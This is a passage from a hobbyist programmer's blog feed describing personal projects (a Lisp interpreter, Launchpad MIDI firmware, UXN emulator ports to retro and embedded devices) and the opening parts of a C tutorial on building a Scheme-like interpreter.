<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
        <title>Bad Diode</title>
        <subtitle>Bad Diode’s Exobrain</subtitle>
        <link href="https://badd10de.dev/feed.xml" rel="self"/>
        <link href="https://badd10de.dev"/>
        <id>https://badd10de.dev/</id>
        <updated>2026-06-16T09:49:05Z</updated>
        <author>
                <name>Bad Diode</name>
                <uri>https://badd10de.dev</uri>
                <email>bd@badd10de.dev</email>
        </author>
            <entry>
            <title>PROJECT // Bad Diode’s Lisp</title>
            <link href="https://badd10de.dev//projects/bdl"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//projects/bdl</id>
            <updated>2026-06-16T09:49:06Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>BDL (Bad Diode’s Lisp) was an experimental
                    programming language, and the predecessor to the <a
                    href="https://oni-lang.com">Oni</a> programming
                    language. It has underwent a number of iterations,
                    from a tree-walking interpreter, to a stack based
                    bytecode interpreter, to natively compiled to
                    ASM/machine code. A series of articles follow the
                    developemnt of the language since its inception.
                    Parts 0 to 6 cover the implementation of the
                    tree-walking interpreter, parts 7-9 lay down some
                    ground rules for iterating on a new language.</p>
                    <h4 id="bdl-articles">BDL Articles</h4>
                    <div class="post-list">
                    <ul>
                    <li>2021-10-11 :: <a
                    href="/posts/building-bdl-part-0">BDL: A Scheme
                    inspired programming language - Part 0</a></li>
                    <li>2021-10-12 :: <a
                    href="/posts/building-bdl-part-1">BDL: Part 1
                    (Lexing and error handling)</a></li>
                    <li>2021-10-13 :: <a
                    href="/posts/building-bdl-part-2">BDL: Part 2
                    (Object types and parsing)</a></li>
                    <li>2021-10-14 :: <a
                    href="/posts/building-bdl-part-3">BDL: Part 3
                    (Evaluation and environments)</a></li>
                    <li>2021-10-15 :: <a
                    href="/posts/building-bdl-part-4">BDL: Part 4
                    (Lambdas and closures)</a></li>
                    <li>2021-10-17 :: <a
                    href="/posts/building-bdl-part-5">BDL: Part 5
                    (Garbage collection and tail-call
                    optimizations)</a></li>
                    <li>2021-10-21 :: <a
                    href="/posts/building-bdl-part-6">BDL: Part 6
                    (Dynamic arrays and hash tables)</a></li>
                    <li>2022-01-31 :: <a
                    href="/posts/building-bdl-part-7">BDL: Part 7
                    (Designing a language)</a></li>
                    <li>2022-04-19 :: <a
                    href="/posts/building-bdl-part-8">BDL: Part 8 (A
                    simple type system)</a></li>
                    <li>2022-04-22 :: <a
                    href="/posts/building-bdl-part-9">BDL: Part 9
                    (Designing an intermediate assembly
                    language)</a></li>
                    </ul>
                    </div>
                </div>
            </content>
        </entry>
                <entry>
            <title>PROJECT // Launchpad Pro Polyphony Maker</title>
            <link href="https://badd10de.dev//projects/launchpad-polymaker"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//projects/launchpad-polymaker</id>
            <updated>2026-06-16T09:49:06Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>A custom firmware for the Novation Launchpad Pro
                    (mk1) that transforms it into a MIDI processor which
                    captures input note events, and splits them into
                    multiple output channels. This enables polychaining
                    and transforms monophonic instruments (like the
                    Elektron Digitakt) into fully playable synthesizers
                    of up to 16 voices, ideal for “dawless” setups. Take
                    a look at <a href="https://youtu.be/kMDbmrHEX2o">the
                    demo on YouTube</a> for more information.</p>
                    <p><a
                    href="https://git.badd10de.dev/launchpad-polymaker/">This
                    project is open source</a> but your support will
                    allow me to add new features, such as multiple
                    profile pages and a note mode with scales support.
                    You can get the current firmware version by dropping
                    a few bucks on <a
                    href="https://badd10de.itch.io/launchpad-polymaker">the
                    itch.io page</a>.</p>
                    <p>The current version (v1.0.0) supports the basic
                    polyphony generator functionality and enables the
                    selection of start/end of the MIDI channel range for
                    the polyphony splitter and 4 modes of voice
                    stealing:</p>
                    <ul>
                    <li>Voice steal off: Once the maximum polyphony is
                    reached, new incoming notes are discarded.</li>
                    <li>Discard oldest: The oldest note makes room for
                    incoming ones.</li>
                    <li>Discard highest: The note with the highest pitch
                    is removed.</li>
                    <li>Discard lowest: The note with the lowest pitch
                    is removed.</li>
                    </ul>
                    <p>From within the available voices, round robin
                    scheduling is used to find the next playable
                    channel. This allows single note melodic lines in
                    instruments with long releases to sound more
                    natural, as we are not abruptly stopping the sound
                    of a channel to play a new note.</p>
                    <p>The main view allows you to see the number of
                    voices currently in use, bypassing the polyphony
                    generator and selecting the method of voice
                    stealing.</p>
                    <p><a
                    href="/projects/launchpad-polymaker/polymaker-main.png"><img
                    src="/projects/launchpad-polymaker/polymaker-main.png"
                    alt="A diagram of a Launchpad Pro showing a number on the pads and a couple of coloured buttons. The diagram shows its usage in the main view context." /></a></p>
                    <p>Pressing the “Setup” button switches to the
                    configuration page, where three groups of 16 pads
                    are used to select the MIDI start, MIDI end and
                    channels being captured from the MIDI in. The start
                    and end ranges define the number of voices available
                    for polyphonic distribution. Exiting the Setup page
                    will save the changes so that they persist through
                    power cycles.</p>
                    <p><a
                    href="/projects/launchpad-polymaker/polymaker-setup.png"><img
                    src="/projects/launchpad-polymaker/polymaker-setup.png"
                    alt="A diagram of a Launchpad Pro showing different stripes of colors on the pads and a couple of coloured buttons. The diagram shows its usage in the setup view context." /></a></p>
                    <p>The sysex file can be uploaded into your
                    Launchpad by holding setup while powering the device
                    and using your favorite sysex transfer file. In
                    Linux I use:</p>
                    <pre><code>amidi -p hw:4,0,0 -s launchpad_pro.syx -i 20</code></pre>
                    <p>Where <code>hw:4,0,0</code> is your device ID,
                    which can be found with <code>amidi -l</code>.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>PROJECT // Micro Interactive C Framework (Hot-code
reloading)</title>
            <link href="https://badd10de.dev//projects/mic"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//projects/mic</id>
            <updated>2026-06-16T09:49:06Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p><a
                    href="/posts/mic-framework-opengl-example/mic_opengl_example_2.mp4"><img
                    src="/posts/mic-framework-opengl-example/mic_opengl_example_2.gif"
                    alt="Example of MIC usage with OpenGL rendering a triangle, changing the fragment shader and background color and re-compiling" /></a></p>
                    <p>Hot code reloading is possible in C and really
                    easy to do. If you ever missed the interactivity
                    that dynamic languages like Python or Lisp, maybe
                    the <a href="https://git.badd10de.dev/mic">Micro
                    Interactive C (MIC)</a> is worth a try. In less than
                    300 lines of code, MIC can be used as a base to
                    build interactive applications, where the program
                    state can be retained while performing iterative
                    development.</p>
                    <p>For a step by step example of using MIC to
                    develop an OpenGL application with hot-code
                    reloading, check out <a
                    href="/posts/mic-framework-opengl-example/">this
                    article</a>.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>PROJECT // Ports of the UXN virtual machine</title>
            <link href="https://badd10de.dev//projects/uxnports"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//projects/uxnports</id>
            <updated>2026-06-16T09:49:07Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p><a href="https://100r.co/site/uxn.html">UXN</a>
                    is a project created by the artist collective and
                    research studio <a href="https://100r.co/">100
                    rabbits</a>. It can be used to write small graphical
                    applications, tools and games. Programs written for
                    UXN are distributed via bytecode compiled roms, akin
                    to classic console emulators. This means that to
                    have UXN programs running on any system, we only
                    need to port the <a
                    href="https://wiki.xxiivv.com/site/varvara.html">bytecode
                    interpreter for the CPU and its associated
                    devices</a> for graphics, I/O, audio, etc. More
                    details about its design can be found <a
                    href="https://100r.co/site/uxn_design.html">here</a>.</p>
                    <p>I like this project quite a lot and find joy in
                    porting the emulator to many systems, with a focus
                    on low powered devices. Some of these ports are more
                    involved than others, and in general getting the
                    basic CPU running is a simple as using the
                    <code>uxn.c</code> file from the reference
                    implementation so the main porting complexity
                    revolves around the implementation of the devices
                    around the actual hardware.</p>
                    <h4 id="uxngba">UXNGBA</h4>
                    <p><a href="/projects/uxnports/uxngba-img.png"><img
                    src="/projects/uxnports/uxngba-img.png"
                    alt="A screenshot of UXNGBA running on the mGBA emulator" /></a></p>
                    <p><a
                    href="https://git.sr.ht/~rabbits/uxn-gba">UXNGBA</a>
                    (<a
                    href="https://git.badd10de.dev/uxngba/about/">mirror</a>)
                    is a port of UXN for Game Boy Advance (GBA). This
                    was my first port and by far the most involved. The
                    GBA is a very limited system having only a 16Mhz CPU
                    and 96KB of video memory. This port required
                    implementing an efficient framebuffer drawing PPU, a
                    4 channel audio player, a filesystem, and adapting
                    the controls for different rom types.</p>
                    <p>The PPU uses Mode-0 to allow us the use of two
                    palleted “background layers” for UXN’s foreground
                    and background graphics. To avoid flickering, double
                    buffering was implemented, which along the tile map
                    consumes a big chunk of the available video memory
                    (~84KB). With the remainder of the VRAM, we load a
                    monospace font to be used as sprites for the virtual
                    keyboard. The drawing routines make use of
                    pre-calculated LUTs to unpack 2bpp sprites and we
                    keep track of which tiles weren’t drawn on to avoid
                    unnecessary redraws.</p>
                    <p>For the audio, since the GBA doesn’t have a
                    floating point unit, all calculations had to be made
                    with fixed point math. In addition to the 4 channel
                    mixer and ADSR envelope, the quality of the audio
                    can be controlled by a compile time macro
                    (<code>AUDIO_HIFI</code>, <code>AUDIO_LOFI</code> or
                    just normal), as audio can be quite resource
                    intensive. These have different resampling
                    frequencies and number of fixed point precision
                    bits.</p>
                    <p>In terms of input, the GBA maps quite well to the
                    “controller” device, and pressing
                    <code>select</code> you can cycle through the three
                    input methods (controller, mouse or keyboard). The
                    keyboard sprites could probably be improved to
                    improve readability, but for now it works well
                    enough.</p>
                    <p>The file system currently in place is pretty
                    limited, but memory is at premium also here. By
                    default is configured with a block size of 1KB, and
                    maximum file name size of 32 bytes, giving us a
                    maximum of 64 usable files. Unfortunately right now
                    there is no way of injecting or extracting files
                    from the <code>.sav</code> file, but I’m interested
                    in having a tool for this purpose in the future.</p>
                    <p>One peculiarity of this port is that the uxn roms
                    are injected as part of the executable instead of as
                    separate files. This way, we can create multiple rom
                    files for different uxn roms. Bear in mind that the
                    file system is on a per rom basis, so roms can’t
                    share files, as they are stored in separate
                    <code>.sav</code> files. Once we have a file
                    injector in place, we could have a single bundled
                    rom to act as a launcher and will work around this
                    issue, since all of them will share the same save
                    file.</p>
                    <h4 id="uxnfb">UXNFB</h4>
                    <p>The reference UXN emulator uses SDL for audio,
                    input and rendering, and while it supports a variety
                    of systems, I wanted to have an UXN implementation
                    that had zero dependencies other than the Linux
                    headers. After some experimentation I created <a
                    href="https://git.badd10de.dev/uxnfb">uxnfb</a>, a
                    port of UXN that uses the Linux framebuffer for
                    rendering and input headers for keyboard/mouse
                    handling.</p>
                    <p>This port is mostly complete, although audio has
                    not been implemented yet. The current implementation
                    requires passing a path for the keyboard and mouse
                    input devices, but in the future I’ll probably add
                    an override as command line parameters.</p>
                    <h4 id="uxnnst">UXNNST</h4>
                    <p><a href="/projects/uxnports/uxnnst-img.jpg"><img
                    src="/projects/uxnports/uxnnst-img.jpg"
                    alt="A screenshot of a Nook Simple Touch e-reader running UXNNST" /></a></p>
                    <p>Found an old Nook Simple Touch (NST) on the
                    garbage and after a bit of tinkering, I got it
                    rooted and was able to install ADB and run arbitrary
                    code on it. It was just a matter of time until <a
                    href="https://git.badd10de.dev/uxnnst/">uxnnst</a>
                    was created. The NST runs a very outdated Android
                    2.1 version, which is in turn based on Linux. We
                    can’t really install any libraries easily, but
                    luckily I already had <a
                    href="https://git.badd10de.dev/uxnfb">uxnfb</a>,
                    which just needed some minor adaptations to
                    work.</p>
                    <p>The screen is a 16bpp grayscale so for better
                    mapping between the RGBA palettes, we transform them
                    to the rgb565 colorspace. Unfortunately, when
                    mmapping the framebuffer device, writing to it
                    doesn’t update the screen. This can be done by
                    performing a <code>write</code> call of size 0.
                    E-ink displays have a low refresh rate, thus, we do
                    this update once every 5 frames (83ms). Similarly,
                    these screens tend to have a ghosting effect, which
                    is solved by a full screen refresh every once in a
                    while. Writing “1” to
                    <code>/sys/class/graphics/fb0/epd_refresh</code>
                    seems to do the trick. By default we only perform
                    this full refresh if the screen has actually
                    changed, saving battery life and avoiding a “rave
                    effect”. We do this every 300 frames in which the
                    screen has changed.</p>
                    <p>The front buttons in my unit are quite damaged,
                    but they still work, so I assigned them the
                    controller up, down, left and right keys. The home
                    button’s only purpose is to exit the program. This
                    way, we can just run the emulator on a loop
                    (<code>while true do; ./uxnnst launcher.rom; done</code>)
                    and still be able to switch applications when
                    desired. The touchscreen is treated as an absolute
                    mouse position and taps are registered as left mouse
                    clicks.</p>
                    <p>Overall I’d say this port is mostly complete,
                    albeit there is no keyboard support. We could
                    implement some form of virtual keyboard, but I think
                    this device is best used for programs that don’t
                    rely on it.</p>
                    <p>I have some <a
                    href="/notes/nook-simple-touch.html">notes</a> that
                    show how you can root the NST and execute arbitrary
                    code, including UXNNST, but if you don’t want to
                    build it from source, you can also <a
                    href="/projects/uxnports/uxnnst">download the latest
                    binary</a> and run it with adb:</p>
                    <pre><code>adb push uxnnst /tmp
adb push screen.rom /tmp
adb push launcher.rom /tmp
adb shell
cd /tmp
while true; do ./uxnnst launcher.rom; sleep 1; done</code></pre>
                    <h4 id="uxn64">UXN64</h4>
                    <p><a
                    href="/projects/uxnports/uxn64-img-1.jpeg"><img
                    src="/projects/uxnports/uxn64-img-1.jpeg"
                    alt="Picture of a N64 console running the UXN screen demo" /></a></p>
                    <p><a
                    href="https://git.badd10de.dev/uxn64/">uxn64</a> is
                    a port of UXN for the Nintendo 64 (N64). It uses the
                    CPU to write directly to the framebuffer instead of
                    making use of the Reality Control Processor (RCP).
                    This seems to perform well enough for now. I tried
                    to use textures on the RCP, but the 4KB size seemed
                    very limiting and my (horrible) implementation of
                    this technique ended up crashing real N64s. I’ll
                    revisit this in the future if I figure out a better
                    rendering method. Similarly, the audio uses triple
                    buffering and a separate audio thread gathers the
                    next set of samples from uxn and prepares a DMA
                    transfer to the audio DAC to the next available
                    slot.</p>
                    <p>The input method takes advantage of the N64
                    controller layout to act simultaneously as
                    controller and mouse.</p>
                    <p>Controller:</p>
                    <ul>
                    <li>D-pad / C-buttons: Controller direction.</li>
                    <li>A / B: A / B</li>
                    <li>Start / Z: Start / Select</li>
                    </ul>
                    <p>Mouse:</p>
                    <ul>
                    <li>Analog joystick: Mouse.</li>
                    <li>L / R buttons: Left/right mouse buttons.</li>
                    </ul>
                    <p>It uses the official N64 development SDK, so the
                    majority of emulators will work with it.
                    Additionally, the uxn roms are “baked in” in the
                    same manner as <a
                    href="https://git.sr.ht/~rabbits/uxn-gba">uxngba</a>,
                    however the MIPS processor in the N64 has a MSB
                    layout, so this must be accounted for. For more
                    information about compilation and obtaining the SDK,
                    check the <code>README</code>.</p>
                    <p><a href="/projects/uxnports/uxn64-img-0.png"><img
                    src="/projects/uxnports/uxn64-img-0.png"
                    alt="Screenshot of the mupen64plus emulator running the UXN screen demo" /></a></p>
                    <h4 id="uxnrpi">UXNRPI</h4>
                    <p><a href="/projects/uxnports/uxnrpi-img.jpg"><img
                    src="/projects/uxnports/uxnrpi-img.jpg"
                    alt="A screenshot of UXNRPI running on a TV" /></a></p>
                    <p>I wanted to learn how to do bare-metal
                    programming for the Raspberry PI, and once I manage
                    to get a framebuffer, I couldn’t help but to try to
                    run UXN on it. And so, <a
                    href="https://git.badd10de.dev/uxnrpi/">uxnrpi</a>
                    was born. This port is outdated and largely
                    incomplete, but could be used as a reference for
                    future projects. Either way I was very happy I
                    managed to get the code running via qemu but also on
                    my Raspberry Pi 4, here seen connected to a TV.
                    There is currently no input support, as that would
                    involve implementing a USB driver or making use of
                    the GPIO ports, and I don’t have the means to do
                    either of those things right now.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: A Scheme inspired programming
language - Part 0</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-0"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-0</id>
            <updated>2026-06-16T09:49:07Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>I’ve recently started the implementation of a new
                    programming language for fun and to better
                    understand the different moving parts involved. I’ve
                    chosen to implement a Scheme inspired language due
                    to its power, flexibility and simplicity. With that
                    said, I don’t expect this language to be compatible
                    with existing implementations, but instead I’ll
                    implement primitives, built-in functions and library
                    functions as I need them. I’ve added some resources
                    at the bottom of this page to read people that are
                    more qualified than me to talk about compilers and
                    programming languages, but maybe some of the
                    concepts I’ll be writing here are of interest to
                    you.</p>
                    <p>For the bootstrap implementation, I’ll be
                    building a tree-walking interpreter that can read
                    programs from standard input, from a given file or
                    list of files or interactively via a
                    read-eval-print-loop (REPL). This initial
                    implementation can then be used to generate a
                    self-hosted compiler, but we will talk about that
                    once we have a fully fledged interpreter. This
                    bootstrap interpreter will be written in C99, use no
                    external libraries and it will start a bit rough
                    around the edges, but hopefully it will get better
                    as we go.</p>
                    <p>The code is <a
                    href="https://git.badd10de.dev/bdl/">freely
                    available</a> and at the moment of this writing I’ve
                    already implemented a good part of the interpreter.
                    However, I’ve pushed a <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.0">new,
                    mostly empty branch</a> so that you can follow along
                    with this writing. This gives me the benefit of
                    hindsight and allows me to perform some light
                    refactoring that will get merged back into the main
                    branch.</p>
                    <h2 id="who-bootstraps-the-bootstrappers">Who
                    bootstraps the bootstrappers?</h2>
                    <p>If you download the code from <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.0">the
                    v0.0 branch</a> you should have a simple
                    <code>Makefile</code>, a
                    <code>src/bootstrap/main.c</code> file with the
                    program skeleton and some other directories
                    (<code>examples</code>, <code>tests</code>) that you
                    can just ignore for now. They just contain some
                    example code for the language and the expected
                    results of running the examples for testing
                    purposes.</p>
                    <p>We will be using a <a
                    href="https://en.wikipedia.org/wiki/Unity_build">unity
                    build</a> compilation approach, which means we will
                    really need to compile and link the
                    <code>main.c</code> file. The Makefile is a
                    convenience, but you should be able to compile the
                    code throughout the project with:</p>
                    <pre><code>cc src/bootstrap/main.c -o bdl</code></pre>
                    <p>where <code>cc</code> is your compiler of choice
                    and <code>bdl</code> is the output binary. For now
                    I’m just interested in supporting Linux and macOS,
                    but I don’t know, it may also work on Windows
                    (haven’t tried to compile C code there in a long
                    while).</p>
                    <p>The skeleton file uses the POSIX
                    <code>getopts</code> to parse command line
                    parameters and flags. We want the following
                    behaviour:</p>
                    <ol type="1">
                    <li>Interpret input files in the given order:
                    <code>bdl file1.bdl file2.bdl ...</code></li>
                    <li>Run an interactive REPL:
                    <code>bdl -i</code></li>
                    <li>Read the standard input if no input files were
                    specified: <code>cat file1.bdl | bdl</code> or
                    <code>echo "(+ 1 2 3)" | bdl</code></li>
                    </ol>
                    <p>For now, the goal is to echo the given input to
                    stdout for the three supported usages. For this we
                    will need a way of reading commands interactively,
                    with optional support for line editing (arrows or
                    chords) and history. But since we will be working
                    with strings for the first stage, and C is infamous
                    for the way it handles string manipulation, we will
                    define a little utility to help us work more
                    cleanly.</p>
                    <h2 id="the-string-view-stringview">The string view
                    (StringView)</h2>
                    <p>In C, strings are simply a series of raw bytes
                    followed by the null terminator character
                    (<code>'\0'</code>). This have some advantages,
                    since the memory footprint of a string is very
                    compact, but operations on strings can perform
                    poorly or be difficult to handle. For example
                    calling the library function <code>strlen</code>
                    requires iterating over each byte until the null
                    terminator is found. Additionally, we want to avoid
                    performing unnecessary heap allocations, so in later
                    stages, when we want to split the source string into
                    tokens, we want a way of storing references to the
                    original string rather than copying parts of it
                    around. Enter…the StringView:</p>
                    <pre><code>typedef struct StringView {
    char *start;
    size_t n;
} StringView;</code></pre>
                    <p>The StringView contains a pointer to a memory
                    location denoting the starting point of the
                    substring (<code>start</code>) and the number of
                    characters it contains (<code>n</code>). With this
                    simple structure, we can define a couple of
                    functions that allow us to iterate over it or peek
                    the next character:</p>
                    <pre><code>char
sv_next(StringView *sv) {
    if (sv-&gt;n == 0) {
        return &#39;\0&#39;;
    }
    char c = sv-&gt;start[0];
    sv-&gt;start++;
    sv-&gt;n--;
    return c;
}

char
sv_peek(const StringView *sv) {
    if (sv-&gt;n == 0) {
        return &#39;\0&#39;;
    }
    return sv-&gt;start[0];
}</code></pre>
                    <p>We also include a couple of helper methods to
                    compare two StringViews or write them to stdout or
                    an output file:</p>
                    <pre><code>bool
sv_equal(const StringView *a, const StringView *b) {
    if (a-&gt;n != b-&gt;n) {
        return false;
    }
    for (size_t i = 0; i &lt; a-&gt;n; i++) {
        if (a-&gt;start[i] != b-&gt;start[i]) {
            return false;
        }
    }
    return true;
}

void
sv_write(const StringView *sv, FILE *file) {
    for (size_t i = 0; i &lt; sv-&gt;n; i++) {
        putc(sv-&gt;start[i], file);
    }
}</code></pre>
                    <h2 id="processing-files">Processing files</h2>
                    <p>The simplest way of processing files is to read
                    each of the files fully into memory. Computers these
                    days have enough memory that this shouldn’t be a
                    problem, and if is, we can always break down big
                    files into small ones. The way to do this in C is a
                    bit ugly, but here is the updated
                    <code>run_file</code> function:</p>
                    <pre><code>void
run_file(char *file_name) {
    FILE *file = fopen(file_name, &quot;r&quot;);
    if (!file) {
        fprintf(stderr, &quot;error: couldn&#39;t open input file: %s\n&quot;, file_name);
        exit(EXIT_FAILURE);
    }

    // Read entire file into memory.
    fseek(file, 0, SEEK_END);
    size_t file_size = ftell(file);
    fseek(file, 0, SEEK_SET);

    char *source = malloc(file_size + 1);
    fread(source, 1, file_size, file);
    source[file_size] = 0;

    StringView sv = (StringView){
        .start = source,
        .n = file_size,
    };

    process_input(&amp;sv);

    free(source);
    fclose(file);
}</code></pre>
                    <p>We also make our <code>process_source</code>
                    function take a StringView and for now we just write
                    its contents to stdout:</p>
                    <pre><code>void
process_source(const StringView *source) {
    sv_write(source, stdout);
}</code></pre>
                    <p>To try it out you can use it to dump the main
                    function to file:</p>
                    <pre><code>make
./build/bdl src/bootstrap/main.c</code></pre>
                    <h2 id="reading-from-stdin">Reading from stdin</h2>
                    <p>Reading the input from stdin is a bit more
                    tricky, if only because we don’t know in advance how
                    long the input will be. For this purpose we will be
                    using the concept of dynamic arrays by allocating a
                    small buffer, and if the number of bytes read before
                    reaching EOF fills the buffer, we would reallocate
                    the buffer with double its previous capacity:</p>
                    <pre><code>#define STDIN_BUF_SIZE 16

void
run_stdin(void) {
    size_t buf_size = 0;
    size_t buf_cap = STDIN_BUF_SIZE;
    char *source = malloc(sizeof(char) * buf_cap);

    char c;
    while ((c = getchar()) != EOF) {
        if (buf_size == buf_cap) {
            buf_cap *= 2;
            source = realloc(source, buf_cap * sizeof(char));
        }
        source[buf_size] = c;
        buf_size++;
    }

    StringView sv = (StringView){
        .start = source,
        .n = buf_size,
    };

    process_source(&amp;sv);

    free(source);
}</code></pre>
                    <h2 id="interactive-execution-repl">Interactive
                    execution (REPL)</h2>
                    <p>To handle the REPL commands we need a small
                    buffer space (who is going to write more than 1024
                    characters directly on the REPL?) that can be
                    statically allocated. Every time we call
                    <code>read_line</code>, we clear the buffer and
                    progressively fill up the buffer until we encounter
                    a newline. Note that we only accept ascii characters
                    as input, and if the EOF character is found we want
                    to exit the REPL gracefully.</p>
                    <pre><code>#define RL_BUF_SIZE 1024
static char readline_buf[RL_BUF_SIZE];

StringView
read_line(void) {
    // Clear buffer.
    for (size_t i = 0; i &lt; RL_BUF_SIZE; i++) {
        readline_buf[i] = 0;
    }

    // Barebones readline implementation.
    size_t n = 0;
    char c;
    while ((c = getchar()) != &#39;\n&#39;) {
        if (c == &#39;\b&#39;) {
            readline_buf[n] = &#39;\0&#39;;
            n--;
        } else if (c == EOF || c == &#39;\0&#39;) {
            return (StringView){ .start = NULL, .n = 0 };
        } else if ((c &gt;= &#39; &#39; &amp;&amp; c &lt;= &#39;~&#39;) &amp;&amp; n &lt; RL_BUF_SIZE) {
            readline_buf[n] = c;
            n++;
        }
    }

    StringView sv = (StringView){
        .start = (char *)&amp;readline_buf,
        .n = n,
    };
    return sv;
}</code></pre>
                    <p>The resulting StringView can be passed to the
                    <code>process_source</code> function as with the
                    other methods. Our new <code>run_repl</code>
                    function is as follows:</p>
                    <pre><code>void
run_repl(void) {
    printf(&quot;BDL REPL (Press Ctrl-D or Ctrl-C to exit)\n&quot;);
    while (true) {
        printf(REPL_PROMPT);
        StringView sv = read_line();
        if (sv.start == NULL) {
            return;
        }
        process_source(&amp;sv);
        if (sv.n != 0) {
            printf(&quot;\n&quot;);
        }
    }
}</code></pre>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>And with that we finish the initial setup! You
                    can find the final source code with the <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.1">v0.1
                    tag</a>. <a href="/posts/building-bdl-part-1">Next
                    up</a> we will talk a bit about the Scheme language
                    and build our lexer that will extract the tokens
                    from the source code.</p>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://mitpress.mit.edu/sites/default/files/sicp/index.html">Structure
                    and Interpretation of Computer Programs</a></li>
                    <li><a
                    href="https://craftinginterpreters.com/">Crafting
                    Interpreters</a></li>
                    <li><a
                    href="http://peter.michaux.ca/articles/scheme-from-scratch-introduction">Building
                    a Scheme from scratch</a></li>
                    <li><a
                    href="https://bernsteinbear.com/blog/compiling-a-lisp-0/">Compiling
                    a Lisp</a></li>
                    <li><a
                    href="http://scheme2006.cs.uchicago.edu/11-ghuloum.pdf">An
                    Incremental Approach to Compiler
                    Construction</a></li>
                    <li><a
                    href="https://github.com/kanaka/mal/blob/master/process/guide.md">Make-A-Lisp
                    Guide</a></li>
                    <li><a
                    href="https://www.cs.utexas.edu/ftp/garbage/cs345/schintro-v14/schintro_toc.html#SEC271">An
                    Introduction to Scheme and its
                    Implementation</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 1 (Lexing and error
handling)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-1"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-1</id>
            <updated>2026-06-16T09:49:08Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>On the <a
                    href="/posts/building-bdl-part-0">previous post</a>
                    we created the boilerplate for our interpreter.
                    Today we are going to create a “lexer” for our
                    language. The goal of a lexer is to traverse the
                    source code to create a list of tokens. The tokens
                    are composed of a token type and the actual “lexeme”
                    (value) of the token. We will also be storing some
                    other metadata such as line/column number in each
                    token to help in error reporting. Speaking of error
                    reporting, we start building an error reporting
                    infrastructure inspired by the one described in <a
                    href="https://craftinginterpreters.com/scanning.html">Crafting
                    Interpreters</a>. But first, let’s talk about the
                    language.</p>
                    <h2 id="scheme-lists-and-parenthesis-oh-my">Scheme,
                    lists and parenthesis oh my!</h2>
                    <p>Scheme is a simple, dynamically typed, Lisp based
                    programming language. Pretty much the entire
                    language could be summarized as:</p>
                    <pre><code>(operator operand0 operand1 ...)</code></pre>
                    <p>In broad strokes, the first element of a list
                    (represented by parenthesis) is a procedure or
                    binding we want to evaluate, and operands are the
                    arguments for those procedures. Of course this is
                    not entirely true, in Lisp based languages, we can
                    also represent data as lists. In other words, the
                    data is the code and the code is the data, it just
                    depends on the context and how we interpret it.</p>
                    <p>Lists can be nested and the evaluation will
                    happen recursively, so for example:</p>
                    <pre><code>(+ 1 2 (* 2 3 4 (- 100 95)))</code></pre>
                    <p>Results in the sum of
                    <code>1 + 2 + (2 * 3 * 4 * (100 - 95))</code> if we
                    were using infix notation.</p>
                    <p>One powerful tool in Scheme is “quotation”. Using
                    quotes we can denote a piece of code as data. So
                    while <code>(+ 1 2)</code> evaluates to
                    <code>3</code>, <code>'(+ 1 2)</code> evaluates to
                    <code>(+ 1 2)</code>. We will talk about quoting
                    later, but for now this should be enough to give you
                    a brief understanding.</p>
                    <p>To start we will be supporting the following
                    primitive objects:</p>
                    <ul>
                    <li><code>fixnum</code>: Signed integers of the
                    biggest size available to the machine.</li>
                    <li><code>strings</code>: Strings of characters and
                    its corresponding length.</li>
                    <li><code>bools</code>: True/false values.</li>
                    <li><code>pairs</code>: A pair has the pointer to
                    two values, the internal representation of lists is
                    by chaining pairs together.</li>
                    <li><code>nil</code>: Also known as the empty
                    list.</li>
                    <li><code>symbols</code>: A string that could or
                    couldn’t be bound to another value. Basically any
                    other type of identifier.</li>
                    </ul>
                    <h2 id="tokens">Tokens</h2>
                    <p>With all of this knowledge, we can represent the
                    entirety of the language with the following token
                    types, which include the parentheses, single quote,
                    and the aforementioned primitive types. At the end
                    of the parsing we will be pushing the EOF token:</p>
                    <pre><code>typedef enum TokenType {
    TOKEN_UNKNOWN = 0,
    TOKEN_LPAREN,
    TOKEN_RPAREN,
    TOKEN_QUOTE,
    TOKEN_TRUE,
    TOKEN_FALSE,
    TOKEN_NIL,
    TOKEN_FIXNUM,
    TOKEN_SYMBOL,
    TOKEN_STRING,
    TOKEN_EOF,
} TokenType;</code></pre>
                    <p>As mentioned before, for each token we store its
                    type and string value in the form of a StringView.
                    This allow us to avoid unnecessary string
                    allocations for the different lexems. We also keep
                    track of the starting line and column of the token
                    for easier error reporting:</p>
                    <pre><code>typedef struct Token {
    TokenType type;
    StringView value;
    size_t line;
    size_t column;
} Token;</code></pre>
                    <p>To store a list of tokens, we will be using a
                    dynamic array as explained before for the
                    <code>run_stdin</code> function. We will also create
                    a helper method for adding tokens to the buffer:</p>
                    <pre><code>typedef struct Tokens {
    Token *buf;
    size_t size;
    size_t cap;
} Tokens;

#define TOK_BUF_CAP 256

void
token_push(Tokens *tokens, Token tok) {
    if (tokens-&gt;buf == NULL) {
        tokens-&gt;size = 0;
        tokens-&gt;cap = TOK_BUF_CAP;
